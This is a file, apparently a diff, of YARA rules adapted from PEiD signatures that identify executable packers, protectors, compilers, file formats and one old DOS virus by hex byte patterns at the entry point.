+rule _PseudoSigner_01_ACProtect_109__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ACProtect 1.09] --> Anorganix"
+	strings:
+		$0 = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _NFO_10_
+{
+	meta:
+		description = "NFO 1.0"
+	strings:
+		$0 = {60 9C 8D 50 12 2B C9 B1 1E 8A 02 34 00 88 02 42 E2 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_QBasic_
+{
+	meta:
+		description = "Microsoft QBasic"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 02 CD 20 BF 00 00 8B 36 02 00 2B F7 81 FE 00 10 72 03 BE 00 10 FA 8E D7 81 C4 00 00 FB 73 0B 33 C0 36 C7 06 00 00 00 00 EB 7D 83 E4 FE 36 89 26 00 00 8B C6 B1 04 D3 E0 48 36 A3 00 00 03 F7 89 36 02 00 8C C3 2B DE F7 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_
+{
+	meta:
+		description = "ASProtect v1.1"
+	strings:
+		$0 = {90 60 E8 1B ?? ?? ?? E9 FC}
+		$1 = {60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CRYPToCRACks_PE_Protector_V093__Lukas_Fleischer_
+{
+	meta:
+		description = "CRYPToCRACk's PE Protector V0.9.3 -> Lukas Fleischer"
+	strings:
+		$0 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v13beta__Cyberbob_
+{
+	meta:
+		description = "PESpin v1.3beta -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 ?? 4E 40 00 8B 42 3C 03 C2 89 85 ?? 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D ?? 4E 40 00 53 8F 85 ?? 4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD ?? 4F 40 00 8D 5B 04 8B 1B 89 9D ?? 4F 40 00 E8 00 00 00 00 58 01 68 05 68 BC 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD ?? 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CHECKPRG_c_1992_
+{
+	meta:
+		description = "CHECKPRG (c) 1992"
+	strings:
+		$0 = {33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74}
+	condition:
+		$0 at entrypoint
+}
+rule _TIFF_Graphics_file_Macintosh_
+{
+	meta:
+		description = "TIFF Graphics file (Macintosh)"
+	strings:
+		$0 = {4D 4D 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_Neolite_20__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake Neolite 2.0) -> emadicius"
+	strings:
+		$0 = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31 39 39 39 20 4E 65 6F 57 6F 72 78 20 49 6E 63 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 31 39 39 39 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 00 00 00 00 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+		$1 = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31 39 39 39 20 4E 65 6F 57 6F 72 78 20 49 6E 63 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 31 39 39 39 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 00 00 00 00 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CALS_Raster_graphics_format_
+{
+	meta:
+		description = "CALS Raster graphics format"
+	strings:
+		$0 = {73 72 63 64 6F 63 69 64 3A 20}
+	condition:
+		$0 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1100__Nooby__20081226_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.1.0.0 -> Nooby * 20081226"
+	strings:
+		$0 = {4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 31 2E 30 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Windows_or_OS2_Graphics_format_
+{
+	meta:
+		description = "Windows or OS/2 Graphics format"
+	strings:
+		$0 = {42 4D}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v029_Beta__v031_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.29 Beta ~ v0.31 Beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {EB 01 ?? EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80}
+		$1 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B}
+		$2 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB}
+		$3 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB 02 F0 49 C1 F6 09 88 0B F7 DE 0F B6 F2 43 EB 02 CD 20 C1 E7 0A 48 EB 01 89 C1 E7 14 2B FF 3B C7 75 A8 E8 01 00 00 00 81 5F F7 D7 D9 EE 1F 5E 1E DD 1E 2E 5E 1E DC ?? ?? 5E 1E 71 06 28 1E 1E 1E 20 F0 93 23 A8 34 64 30 F0 E1 D0 9E 51 F9 C2 D1 20 1D 32 42 91 16 51 E7 1D 32 42 91 36 51 DE 1D 32 42 91 3F D1 20 5F CE 2E 1D 32 42 30 DE 91 17 93 5D C8 09 FA 06 61 1E 1E 1E 49 E9 93 2E 06 56 1E 1E 1E 09 46 CA EF 06 92 5F 31 E7 09 3A AF 66 DF FE 26 CA 06 40 1E 1E 1E 5B 1E 9B 1E 1E 91 28 9E 1A 23 91 24 A1 16 9D 95 20}
+		$4 = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02 04 00 00 EB 01 9A E8 19 07 00 00 EB 01 9A E8 9C 00 00 00 EB 01 9A E8 9C 06 00 00 E8 00 00 00 00 0F 7E F8 EB 01 9A 8B F8 C3 E8 00 00 00 00 58 EB 01 9A 25 00 F0 FF FF 8B F8 EB 01 9A 0F 6E F8 C3 8B D0 EB 01 9A 81 C2 C8 00 00 00 EB 01 9A B9 00 17 00 00 EB 01 9A C0 0A 06 EB 01 9A 80 2A 15 EB 01 9A 42 E2 EE 0F 6E C0 EB 01 9A 0F 7E C0 EB 01 9A 8B D0 00 85 EB A5 F5 65 4B 45 45 00 85 EB B3 65 07 45 45 00 85 EB 75 C7 C6 00 85 EB 65 CF 8A 00 85 EB D5 FD C0 00 85 EB 7F E5 05 05 05 00 85 EB 7F 61 06 45 45 00 85 EB 7F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _PC_Shrinker_v029_
+{
+	meta:
+		description = "PC Shrinker v0.29"
+	strings:
+		$0 = {BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB}
+		$1 = {BD ?? ?? ?? ?? 01 AD 55 39 40 ?? 8D B5 35 39 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v110b4_
+{
+	meta:
+		description = "PECompact v1.10b4"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Windows_PIF_file_
+{
+	meta:
+		description = "Windows PIF file"
+	strings:
+		$0 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 02}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_v11_250_Beta__NEOx_
+{
+	meta:
+		description = "nPack v1.1 250 Beta -> NEOx"
+	strings:
+		$0 = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+		$1 = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE_Shield_V06__SMoKE_
+{
+	meta:
+		description = "EXE Shield V0.6 -> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+		$1 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+		$2 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+		$3 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _FSG_v20__bartxt_
+{
+	meta:
+		description = "FSG v2.0 -> bart/xt"
+	strings:
+		$0 = {86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09 00 08 D0 05 D4 06 D5 0B 40 09 00 10 7F 26 4F 0B 00 09 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 7F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_PE_Lock_NT_204__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake PE Lock NT 2.04) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WATCOM_CCpp_32_RunTime_System_19881994__Open_Watcom_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1988-1994 -> Open Watcom"
+	strings:
+		$0 = {FB 83 ?? ?? 89 E3 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 29 C0 B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_8_
+{
+	meta:
+		description = "Microsoft Visual C++ 8"
+	strings:
+		$0 = {00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00}
+		$1 = {E8 ?? ?? 00 00 E9 ?? ?? FF FF}
+		$2 = {E8 ?? ?? ?? ?? E9}
+		$3 = {00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Basic_60_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Basic 6.0 DLL] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_SFX_v90_module__Winzip_
+{
+	meta:
+		description = "WinZip 32-bit SFX v9.0 module -> Winzip"
+	strings:
+		$0 = {53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie1800_
+{
+	meta:
+		description = "Vx: Eddie.1800"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+		$1 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Protect_40_COM_
+{
+	meta:
+		description = "Protect! 4.0 [COM]"
+	strings:
+		$0 = {E8 00 00 5D 81 ED 13 01 33 C0 8E D8 8B F0 BF 70 00 B9 08 00 FC F3 A5 FD 87 FE 8C C0 8E D8 33 C0 8E C0 4F 4F 8B C2 AB B8 AE 02 03 C5 AB 8B C2 AB B8 BB 01 03 C5 AB 8B C2 AB E4 21 A2 6B 00 B8 EF 01 03 C5 AB 8B C2 AB B8 F8 01 03 C5 AB 1E 07 B0}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_v27__Holy_Father__Ratter29A_
+{
+	meta:
+		description = "Morphine v2.7 --> Holy_Father & Ratter/29A"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+		$3 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$4 = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$5 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint
+}
+rule _TrueType_Font_file_
+{
+	meta:
+		description = "TrueType Font file"
+	strings:
+		$0 = {00 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 4F 53 2F 32}
+		$1 = {00 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 4C 54 53 48}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AntiDote_v14_osCE_
+{
+	meta:
+		description = "AntiDote v1.4 osCE"
+	strings:
+		$0 = {68 95 01 00 00 E8 D0 FD FF FF 68 95 01 00 00 E8 C3 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22006710__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.7.10 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeJoiner_Small_build_017__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 017) -> GlOFF"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 86 FF 86 DB 86 FF 68 00 01 00 00 68 18 20 40 00 6A 00 E8 FF 01 00 00 8A E4 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 18 20 40 00 E8 D5 01 00 00 A3 00 20 40 00 40 0F 84 97 01 00 00 8A E4 6A 02 6A 00 6A FB FF 35 00 20 40 00 E8 E0 01 00 00 86 FF 86 DB 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 00 20 40 00 E8 BD 01 00 00 8A E4 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+	condition:
+		$0 at entrypoint
+}
